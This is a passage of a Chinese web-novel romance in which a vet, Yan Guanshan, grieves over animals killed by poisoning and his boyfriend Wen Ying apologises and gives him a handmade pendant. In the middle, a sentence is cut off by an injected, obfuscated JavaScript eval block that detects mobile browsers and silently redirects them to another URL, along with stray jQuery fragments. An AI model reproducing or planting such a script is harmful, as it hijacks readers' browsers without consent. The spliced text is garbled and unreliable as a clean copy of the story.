闻影没多问,出门打车就直奔城西店,有点远,一路上他都有些忐忑,直到现在他对晏关山生气的点理解还有点模糊,似乎是因为自己不守规矩只身冒险,可好像还有些别的。在警察局说那些话有点绕,闻影的脑子没能绕过来。
到了城西,闻影见大堂蛮多人没急着进去,怕打扰晏关山工作,他在门口等了会儿。
两个姑娘走出大堂,在离闻影很近的距离蹲下突然开始哭,闻影被她们哭声吸引不免看过去,一人怀里抱着一个纸箱,巷子里像是躺着好几只猫,哭得那么伤心恐怕已经死了。
“为什么会有这种垃圾人啊!”其中一个姑娘哭得声儿都变了调,“小动物没惹任何人,它们做错了什么啊!”
另一个姑娘哭得上气不接下气,已经说不出话。
隔了会儿又有一个大妈抱着纸箱过来,陆陆续续进去医院的人几乎都挂着眼泪出来的,有猫有狗,都没救活。闻影从只言片语里听到是有人投毒,附近几个小区里死了不少流浪猫和家养狗,这几天晏关山忙是在忙这个。
门口坐着哭的人换了一茬又一茬,等终于消停了,晏关山从里面走了出来,他没看见闻影,神色疲惫恍惚,白大褂抓在手上兀自出了门转进小巷子里,闻影跟了过去。
闻影没见过他这样的状态。微微弓着腰蹲在地上,低着头,露着白皙的脖颈,像是对着地面发呆,整个人脱了力,手肘担在膝上无力地垂着,就这么蹲了很久,周围偶尔人过去他也没什么反应。这个背影让闻影看得有点心疼。
闻影慢慢走到他面前,蹲下,在对方意识到茫然抬头的一瞬间,闻影抓紧晏关山目光中那缕焦点,挤了个很难看的笑说:“你咋了,有人欺负你?”
这口吻直接给晏关山问懵了,他愣了半天神,无语地说:“不会哄就别哄了。”
嘴上说着别哄,眼睛盯着近在咫尺的手,他俩都是同一个蹲着的姿势,手指尖几乎要碰到一起,晏关山目光落在彼此的手上,闻影也看见了,立刻把晏关山的手抓住,抓了四根指头,跟捏了把香一样攥手里。
“你跟我说说咋了。”闻影晃晃手,语气里带了点战战兢兢,“是不是工作太忙,一想到我气你,就蹲这儿赌气来了?”
晏关山摇摇头。
闻影观察了会儿他的表情,好像不全是生气,伤心更多一点。他捏捏晏关山的手说:“我听见刚有人说被投毒,好多猫猫狗狗都中毒了,是因为这事儿么?”
“大部分都……”晏关山说得有点艰难,“没救过来。”
闻影蹙了下眉,听见晏关山喃喃道:“会有点挫败。”
晏关山说的相对平静,就因为平静,挫败感才真真实实地让他整个人都有点低落,干这行见得多了,可不代表见得多心就会变硬,碰上无能为力的情况,但凡一个有良心的医生都会因为患者没能救回来而感到遗憾。
“闻影。”晏关山不怕自己的脆弱被他看见,他也是没法兜住这种情绪,忍不住说,“我也会难过。”
53.第 53 章
本来是负荆请罪来的,这会儿罪没请上,得为别的事儿把男朋友情绪哄好,闻影忽然觉得自己还是有点用武之地,现在不就是好好表情争取宽大处理的好时机?
“医院还有事儿吗?”闻影摩挲着晏关山的手,勾勾手指问他,“没事儿跟我走一趟?”
“暂时没事,可以出去半小时。”晏关山问,“去哪儿?”
“能走就行。”闻影把人拽起来,十指相扣,他举起交叠的两只手说,“会不好意思么?”
“你别不好意思就行。”晏关山一副任由你摆布的表情。
闻影哪会不好意思,这地儿又不是他的地盘,就算是他的地盘,男朋友伤心了,他哪里还顾得上不好意思。他牵着晏关山走出小巷子,边走边搜索附近还不错的咖啡店,然后去店里买了一堆吃的喝的,把晏关山拉到一个露天灯光球场里坐着。
上班的点儿打球的人很少,两个中学生在1V1,篮球一下一下的撞击声是让人放松的,闻影把人带到角落里,放好吃的喝的的,让晏关山捧着一杯热奶茶捂手。
“我是来道歉的。”闻影也捧着一杯奶茶,得空吸溜一下,要他板板正正坐一边坐不住,索性他盘腿坐在了晏关山正对面,从下往上看着对方,“再不道你得躲到更远的地方是不?”
“没躲你。”晏关山微微弓着腰,手肘抵着膝盖捂着奶茶,微垂着眼睛看对方,“你要怎么道,我听听。”
“我错了。”闻影耿直地说。
“错哪儿了?”晏关山头一偏,好整以暇地等着男朋友哄。
他情绪已经平缓很多了,应该说人在低落的时候其实不需要太多复杂的安慰,有效的安慰是正难受时抬头的一瞬,闻影及时地出现在眼前,剩下的晏关山可以自己消化解决。
闻影两手踹在兜里,斟酌用词时一会儿低头,一会儿抬头,跟个多动症似的,他局促但尝试着剖白,没有了平时那种快言快语的干脆。
“我错在没听你话。”闻影这话是试探,说完一看晏关山眉毛都挑起来就晓得没说对,他赶紧改口,“也不全是这个,错在……没考虑后果?”
晏关山带了点无奈看着他。
闻影迷茫了:“我错在脾气烂?”
晏关山:“……”
“我知道。”闻影说,“出门前应该跟你打个电话。”
晏关山还是没反应,闻影有点慌:“不对,是给警察打电话。”
晏关山“噗嗤”笑出声,摇着头半天停不下来,闻影不知道自己认真道歉怎么道出这个效果,这不能还给气笑了吧。
他跟个无措小孩儿一样开始抠手,但确实是找不着什么错点来说了。
“你跟我说我错哪儿了。”闻影伸了个根指头戳戳晏关山的膝盖,“我改嘛。”
爱炸毛从不认错的刺头儿不论是对谁来上这么一次软软糯糯的“认错”,被道歉的人都不可能再生的起气来,更何况晏关山真没那么大气。
他抓住那根无措的手指,说:“对错不重要,闻影,我是希望你做任何事之前,首先想到自己会不会受到伤害,要你考虑后果,这后果里面你得把自己摆在第一位,明白吗?”
闻影好像明白,又好像不明白,茫然地点了头。
“还有什么雷是我不知道的吗?”晏关山问他。
“没了,真没了。”闻影说,“我保证以后也不会有了,这种事儿也难遇着吧。”
说到给别人扛雷,闻影倒是有自知之明,他虽然不觉得这是什么毛病,可预判晏关山不喜欢他这样。
“有也没关系。”晏关山捏着对方手指头,有点语重心长地道,“生活里不可能没有坎坷,可不管你为了谁去冲锋陷阵,回头想想,你还有没有牵挂,你是不是谁的牵挂。人有顾忌不是坏事,我不知道自己有没有资格成为你的顾忌,可……”
“你是。”闻影打断对方,比起晏关山字斟句酌的道理,他脱口而出的坦白虽然简短可字字浓烈,“我当时第一次觉得害怕,很害怕,不是怕打不过那帮傻逼。”
闻影垂着眼,长长的睫毛扑簌扑簌抖着,亲口说自己害怕有点难为情。
“打赢坐牢打输住院,什么结果都会让你生气,我怕这个。”
晏关山视线聚焦在抖来抖去的睫毛上,心都软了,轻轻笑着说:“抬头。”
“还没说完。”闻影噘嘴,琢磨了会儿道,“道理我都懂的,只是那什么……不习惯。”
被闻影吞掉的话里埋着他孤独无依的童年,他不知道怎么表达,一个人久了会习惯没人依靠和关心的感觉,可忽然有人记挂你,比在乎其他更在乎你的时候,会让闻影不习惯,被偏爱的人未必一来就有恃无恐,也可能跟闻影一样下意识去逃避,逃避的背后是怕哪一天这种偏爱就没有了。
晏关山什么都懂,这份偏爱他弄丢过,更能理解闻影患得患失的情绪,他说:“我俩以后肯定还会因为别的事儿吵架、生气,但你放心,我不会跑。要么你来哄,要么咱俩讲道理。我该怎么对你还怎么对你,别人那儿都没有。”
闻影“哦”了一声,嘴角压不住,勾勾晏关山的手心和对方牵住:“投毒这事儿后续怎么解决呢?”
“最早接诊中毒的狗子我就报警了。”晏关山说,“如果抓到,会判个危害公共安全罪,医院这边也在努力配合受害家属收集证据。”
闻影:“以前没遇到过?”
“有,在弱势群体上发泄不满的人不少。”晏关山轻轻叹了口气,“按理说我该习惯的,只是尽力去救,还是有临床无能的时候,总会有些失落。没事儿,一会儿就好了。”
“想到毛毛了?”闻影看着他问。
晏关山点点头,无奈地扯了下嘴角。
那只捡回来最后冻死在垃圾桶里的毛毛,是晏关山下定决心学动物医学的原因,每多救
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804000|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回来一只小动物,心里对于毛毛的遗憾会稍稍好一点,可没救回来,就难以避免陷入负面的情绪。
闻影稍稍一想就能知道,对方不好受自己也不好受,心疼,比起晏关山生气转身就走,闻影更受不了一个人蹲在地上发呆的模样,闻影松开手,伸到包里边掏边说:“两个毛毛都让你想起就难受,毛毛的锅。”
闻影手包成一个拳头,伸到晏关山面前:“我替那只毛毛一起给你赔个不是,你要原谅咱了,低下头呗。”
晏关山不知道他要干嘛,但他不想问,说低头就低头。
闻影又道:“再闭上眼睛!”
晏关山轻笑了一声,听话地把眼睛也闭上了,隔了会儿脖颈上被一股凉意触碰,细细冰冰的,轻轻地在锁骨前晃。
“睁开吧,看看。”闻影的手托着介绍,“这是你的,狗证,发你了。”
闻影给晏关山脖子上挂了根项链,吊坠是块拇指大小的牌,正面是幅画,闻影的风格依旧极其抽象,只能看出一个人抱着狗,勾勒形状的五颜六色的色块被彩色的薄片代替嵌在画框里,晏关山震惊又惊喜地看着方寸之间的设计,像哥特式教堂的彩玻花窗,光线折射巧妙地像是能阳光从后头透过来一样,多了一分神圣感。
“背面背面。”闻影提醒道,“重点是背面。”
晏关山翻过来,看到一排小字——
大名闻影,小名毛毛。
晏关山所有,特颁此证。
心里像被棉花拳头击中,爆开的还都是暖暖热热的糖浆。晏关山一把握在手里:“你设计的?这几天就在干这个,躲着不见我。”
“喜欢吗,你先说!”闻影笑着问。
“喜欢。”晏关山把吊坠都捂热了,爱不释手地打开看了又看,再握住,“不摘了。”
“画是我画的,画好了找隔壁系的同学做的,材料都费了好大劲儿。”闻影得意地介绍说,“底框是白金打的,上头铺的是天然水晶,切成小小的不规则薄片,仿教堂彩色花窗的样式。我画的色块比较碎,同学为了还原切废好多材料,我可是下血本了呢!”
“下血本了呢。”晏关山重复了一句,觉得自家男朋友真是可爱坏了,他问,“你没给自己做一条?”
“这儿啊。”闻影摸摸脖子掏出一根朴素得不能再朴素的,仰着脑袋伸过去,“你看嘛。”
吊坠就一根骨头,上面刻着一个小小的“晏”字。
“我给你发证了,那就翻篇,你要开——”
心字还没说完,晏关山就轻轻捧着闻影的后脑勺往自己这边压了压,在脑门上落下了一个吻。大庭广众之下,亲嘴像是不太好,但他又压抑不住此时起伏的情绪满腔的爱意,温柔又霸道地贴了贴脑门,很快松开,两个人脑门对着脑门,晏关山说:“谢谢,我很喜欢。”
“咱俩回家吧。”闻影咬了咬下唇,咽完口水说,“现在就回。”